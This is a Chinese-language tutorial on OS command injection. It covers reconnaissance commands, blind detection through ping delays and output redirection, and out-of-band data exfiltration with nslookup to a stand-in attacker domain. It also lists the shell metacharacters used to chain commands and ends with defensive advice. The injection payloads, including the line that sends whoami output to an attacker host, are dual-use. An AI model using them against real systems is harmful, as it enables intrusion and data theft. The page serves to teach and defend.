跳转至

Command Injection

操作系统命令注入也称为Shell注入。它允许攻击者在运行应用程序的服务器上执行操作系统(OS)命令,通常会完全攻破应用程序及其数据。攻击者通常可以利用操作系统命令注入漏洞攻破托管基础设施的其他部分,并利用信任关系将攻击转向组织内的其他系统。

在发现操作系统命令注入漏洞后,执行一些初始命令以获取系统信息非常有用。以下是一些在 Linux 和 Windows 平台上有用的命令摘要:

Purpose of command Linux Windows
Name of current user whoami whoami
Operating system uname -a ver
Network configuration ifconfig ipconfig /all
Network connections netstat -an netstat -an
Running processes ps -ef tasklist

盲注入

许多操作系统命令注入实例是盲注漏洞。这意味着应用程序不会在其 HTTP 响应中返回命令的输出。盲注入仍然可以被利用,但需要不同的技术。

举个例子,想象一个网站允许用户提交对网站的反馈。用户输入他们的电子邮件地址和反馈信息。服务器端应用随后会向站点管理员发送包含反馈的邮件。为此,它会向提交的详细信息调用 mail 程序:

Bash
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail 命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用 echo 有效载荷是行不通的。在这种情况下,你可以使用多种其他技术来检测和利用漏洞。

利用时延验证盲注入

你可以使用注入命令触发时间延迟,从而根据应用程序响应的时间确认命令是否已执行。 ping 命令是个不错的方法,因为它可以指定要发送的 ICMP 数据包数量。这使你能够控制命令运行所需的时间:

Bash
& ping -c 10 127.0.0.1 &

该命令使应用程序对其环回适配器进行 10 秒的 ping。

通过重定向输出验证

你可以将注入命令的输出重定向到网页根内的文件,然后用浏览器检索。例如,如果应用程序从文件系统位置 /var/www/static 提供静态资源,那么你可以提交以下输入:

Bash
& whoami > /var/www/static/whoami.txt &

> 字符将 whoami 命令的输出发送到指定文件。然后你可以用浏览器访问 https://vulnerable-website.com/whoami.txt 来获取文件,并查看注入命令的输出。

数据带外验证

你可以使用注入命令,通过 OAST 技术触发与你控制的系统进行带外网络交互。例如:

Bash
& nslookup kgji2ohoyw.web-attacker.com &

该负载使用 nslookup 命令来触发指定域名的 DNS 查询。攻击者可以监控查询是否成功,从而确认命令是否成功注入。

带外通道提供了一种简单的方式,可以从注入命令中提取输出:

Bash
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这会导致对攻击者域名进行 DNS 查询,其中包含 whoami 命令的结果:

Text Only
wwwuser.kgji2ohoyw.web-attacker.com

注入方式

你可以使用多个Shell元字符来执行操作系统命令注入攻击。

多个字符作为命令分隔符,允许命令串联起来。以下命令分隔符适用于 Windows 和 Unix 系统:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅适用于基于 Unix 的系统:

  • ;
  • Newline (0x0a or \n) Newline( 0x0a 或 \n )

在基于 Unix 的系统中,你还可以使用`符号或美元字符,在原始命令中执行注入命令的内联执行:

  • ` injected command `
  • $(injected command)

不同的Shell元角色有细微不同的行为,可能会改变它们在特定情况下的效果。这可能影响它们是否允许带内检索指令输出,还是仅用于盲目利用。

有时,你控制的输入会在原始命令中被引号显示。在这种情况下,你需要在使用合适的 shell 元字符注入新命令之前,先终止引号上下文(使用 " 或 ' )。

防御命令注入

防止操作系统命令注入漏洞的最有效方法是绝不调用应用层代码中的操作系统命令。几乎所有情况下,都有不同的方式通过更安全的平台 API 实现所需功能。

如果你必须调用操作系统命令,且输入用户输入,则必须执行强输入验证。一些有效验证的例子包括:

  • 验证允许值的白名单。
  • 验证输入是否是一个数字。
  • 验证输入仅包含字母数字字符,没有其他语法或空白。

切勿试图通过黑名单方式来过滤输入。但实际上,这种方法出错率极高,容易被熟练的攻击者绕过。